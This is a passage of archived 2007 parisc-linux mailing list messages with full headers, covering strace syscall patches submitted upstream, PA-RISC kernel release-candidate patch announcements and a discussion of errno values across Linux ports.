	with ESMTP id 03706-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Aug 2007 15:01:38 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 98EF77DC7B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Aug 2007 15:01:37 -0600 (MDT)
Original-Received: (qmail invoked by alias); 14 Aug 2007 21:01:35 -0000
Original-Received: from mnhm-590da088.pool.einsundeins.de (EHLO ls-cups.box)
	[89.13.160.136]
	by mail.gmx.net (mp057) with SMTP; 14 Aug 2007 23:01:35 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <119aab440708140646m496a74f0r9d3425ccc3e4df30@mail.gmail.com>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: W3yqC4dnbHIzb63NNjQ0I1sqJihyatAw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24764

On Tuesday 14 August 2007, Carlos O'Donell wrote:
> > Below is a patch against strace-4.5.15 source package from sourceforge.
> > Maybe it's useful to some people here, although it's not cleaned up/correct at all yet.
> > Feedback/corrections (esp. for the new syscalls >= 295) are welcome, because I only focused on statfs64()/fstatfs64() at this moment.
> 
> That's awesome! Please send it upstream, even it they ignore you,
> atleast the patch will appear in the archives. I'm sure debian would
> take a half-clean patch against strace as long as it only effected
> hppa.

FYI - I've just submitted a more correct version of my patch upstream:

- upstream version of strace (syscall table patch):
http://sourceforge.net/tracker/index.php?func=detail&aid=1774308&group_id=2861&atid=302861

- upstream version of strace (shmat() syscall patch):
http://sourceforge.net/tracker/index.php?func=detail&aid=1774313&group_id=2861&atid=302861

- debian:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=437928

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] preliminary strace patch
Date: Tue, 14 Aug 2007 17:46:29 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <119aab440708141446t1d07cf2cte5167812bb668786__49067.5772460692$1416624428$gmane$org@mail.gmail.com>
References: <200708122325.07259.deller@gmx.de>
	 <119aab440708140646m496a74f0r9d3425ccc3e4df30@mail.gmail.com>
	 <200708142301.34895.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624428 24924 80.91.229.3 (22 Nov 2014 02:47:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:08 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <patofiero@gmail.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Aug 2007 21:46:30 -0000
Original-Received: from rv-out-0910.google.com (EHLO rv-out-0910.google.com) [209.85.198.191]
  by mx0.gmx.net (mx009) with SMTP; 14 Aug 2007 23:46:30 +0200
Original-Received: by rv-out-0910.google.com with SMTP id c27so1797603rvf
        for <deller@gmx.de>; Tue, 14 Aug 2007 14:46:29 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=C1Lnl20OCYy4/md14S/A3gePSjhcO9wEuBRWr07cTyUHy1t9lyo74SLXI+KBAl8gSb7uONO6gbJ2NsgeC2m4IdM/rs72lqoafS75LN3WWeCC2mNWAqqPTnIuKqZl99R77IlL8ZkqpOqGBVDhqQLVE245+jgK3dzzLtB1+ML6YUA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=uU086Zj8Cq8OXz1EeXg1/UyMLeqsJnFLBvNcRX4wDVZN+2W+rBKbGlijS/7lR8c/rbrKJ1CC8ralYoTP5pDtBozvmy5krUX6yajDjxst1BgQfHIMNepzgMD6QsBQGjtbAFs76lkzoInGivAZ29W+lmpsVA9ZgmNRaN1tt/kCHM0=
Original-Received: by 10.141.88.3 with SMTP id q3mr3235413rvl.1187127989780;
        Tue, 14 Aug 2007 14:46:29 -0700 (PDT)
Original-Received: by 10.141.85.1 with HTTP; Tue, 14 Aug 2007 14:46:29 -0700 (PDT)
Original-Sender: patofiero@gmail.com
In-Reply-To: <200708142301.34895.deller@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: 8cff8157f56fcf82
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hVj3LtZsZDI5PLHGdWY2mfhxemhmYwH+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24765

On 8/14/07, Helge Deller <deller@gmx.de> wrote:
> FYI - I've just submitted a more correct version of my patch upstream:
>
> - upstream version of strace (syscall table patch):
> http://sourceforge.net/tracker/index.php?func=detail&aid=1774308&group_id=2861&atid=302861
>
> - upstream version of strace (shmat() syscall patch):
> http://sourceforge.net/tracker/index.php?func=detail&aid=1774313&group_id=2861&atid=302861
>
> - debian:
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=437928

Awesome, that rocks. If there is anything I can do to help just tell me.

Cheers,
Carlos.



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc v2.6.23-rc3-pa1
Date: Mon, 20 Aug 2007 03:12:13 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20070820071213.GC16879__29467.3101082028$1416624428$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624428 24927 80.91.229.3 (22 Nov 2014 02:47:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Aug 2007 07:24:53 -0000
Original-Received: from unknown (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 20 Aug 2007 09:24:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2829F7DC9D;
	Mon, 20 Aug 2007 01:24:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10149-05; Mon, 20 Aug 2007 01:24:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF9B37DC36;
	Mon, 20 Aug 2007 01:24:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE7F77DC28
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Aug 2007 01:24:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09988-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Aug 2007 01:24:39 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id EB1577DC1D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Aug 2007 01:24:38 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A6F3A5840A0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Aug 2007 03:24:37 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 39E0F58409F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Aug 2007 03:24:37 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 4B0B223E02; Mon, 20 Aug 2007 03:12:13 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9Hf8d11hbUkpPenGPWgny69kZ2hlN4pa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24766

http://ftp.kernel.org/pub/linux/kernel/people/kyle/parisc/2.6.23-rc3/2.6.23-rc3-pa1.diff.bz2

no changes aside from Makefile, forgot to release 2.6.23-rc1 back at the
beginning of the month. oops. not even build tested since i don't have
any machines powered on.

i've got a slew of stuff at various levels of polish to commit at some
point.

regards,
	kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc v2.6.23-rc3-pa1
Date: Sat, 25 Aug 2007 10:31:13 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20070825143113.GA22243__35077.246258925$1416624429$gmane$org@fattire.cabal.ca>
References: <46CFBE2D.8070507@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624429 24928 80.91.229.3 (22 Nov 2014 02:47:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Aug 2007 14:44:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 25 Aug 2007 16:44:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEE1E7D6BA;
	Sat, 25 Aug 2007 08:44:08 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lgR535cnqcrE; Sat, 25 Aug 2007 08:44:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F2307D6C1;
	Sat, 25 Aug 2007 08:43:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13E037D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Aug 2007 08:43:49 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ziVdKqRp2Hy1 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Aug 2007 08:43:38 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id F13A57D625
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Aug 2007 08:43:37 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 562A65840A6;
	Sat, 25 Aug 2007 10:43:37 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id CB040584099;
	Sat, 25 Aug 2007 10:43:36 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 4B6FA23E02; Sat, 25 Aug 2007 10:31:13 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <46CFBE2D.8070507@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DHnoc+hcbmw6bK2HZzdLyAdHUzc4clHG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24767

On Sat, Aug 25, 2007 at 05:29:17AM +0000, Joel Soete wrote:
> Hello Kyle,
> 
> I didn't test this patch but your linux-2.6-snaps.git (release 2.6.23-rc3-git5) and this boot fine on my b2k as 32bit built 
> kernel.
> 
> Great job ;<)
> 

Thanks, I've got a few patches that need to go in (getdents fix mostly)
but right now I'm tracking a null ptr dereference in the unwinder that
shows up on 64-bit SMP when udev starts.

(Of course, you don't need the getdents patch for 32-bit, so you should
be fine just running the -git snaps.)

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan Engelhardt <jengelh@computergmbh.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] errno codes intertwined
Date: Sun, 26 Aug 2007 20:43:06 +0200 (CEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0708262038170.12920__25634.216288063$1416624429$gmane$org@fbirervta.pbzchgretzou.qr>
References: <Pine.LNX.4.64.0708241815540.28540@fbirervta.pbzchgretzou.qr>
	<200708261345.43165.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624429 24930 80.91.229.3 (22 Nov 2014 02:47:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:09 +0000 (UTC)
Cc: sparclinux@vger.kernel.org,
 Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
 parisc-linux@lists.parisc-linux.org,
 parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2007 18:43:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 26 Aug 2007 20:43:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7743A7DB69;
	Sun, 26 Aug 2007 12:43:36 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YLL2xfjLQyp5; Sun, 26 Aug 2007 12:43:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 422597DB5F;
	Sun, 26 Aug 2007 12:43:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3D187DB5E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Aug 2007 12:43:20 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Asoij5BTyDLf for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Aug 2007 12:43:07 -0600 (MDT)
Original-Received: from sovereign.computergmbh.de (sovereign.computergmbh.de
	[85.214.69.204])
	by free.linux.hp.com (Postfix) with ESMTP id B3C767DB5B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Aug 2007 12:43:07 -0600 (MDT)
Original-Received: by sovereign.computergmbh.de (Postfix, from userid 25121)
	id 3490D18096B9A; Sun, 26 Aug 2007 20:43:06 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by sovereign.computergmbh.de (Postfix) with ESMTP id 2C8DC1CD3150E;
	Sun, 26 Aug 2007 20:43:06 +0200 (CEST)
In-Reply-To: <200708261345.43165.vapier@gentoo.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7rPkLrpFZDI5PLHGdWY2pCBxemhmY8G/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24768


On Aug 26 2007 13:45, Mike Frysinger wrote:
>> can I rely on the same errno across Linuxes?
>
>nope
>
>> And should the errno values be fixed up?
>
>i guess that depends on whether you think it's even broken :)
>
>no spec requires any errno symbol have an exact numeric value ... i'm guessing 
>your FUSE is only cross-Linux and you're not planning on dipping into any 
>other OS ?

If the errnos are not the same in the Linux world, it's not even
cross-Linux ;-) - but it's always translated to fixed numbers now anyway.

I have not really thought about putting it in use on other systems yet. I
don't have macosx to test, and Windows generally lacks some fuses. :^)
You are free to spin it if you like, http://freshmeat.net/p/ccgfs/


	Jan
-- 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc v2.6.23-rc3-pa2
Date: Sun, 26 Aug 2007 23:48:31 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20070827034831.GC18343__4304.91353986344$1416624429$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624429 24933 80.91.229.3 (22 Nov 2014 02:47:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2007 04:01:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 27 Aug 2007 06:01:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E50D7DB73;
	Sun, 26 Aug 2007 22:01:27 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AcuGYdtqfNQ8; Sun, 26 Aug 2007 22:01:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EDB37DB6A;
	Sun, 26 Aug 2007 22:01:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DAB37DB66
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Aug 2007 22:01:08 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id NEM70hJMp38y for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Aug 2007 22:00:56 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 4D2AC7DAF3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Aug 2007 22:00:56 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8C06E5840A6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Aug 2007 00:00:55 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1F5DE58409F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Aug 2007 00:00:55 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 80DC423E02; Sun, 26 Aug 2007 23:48:31 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
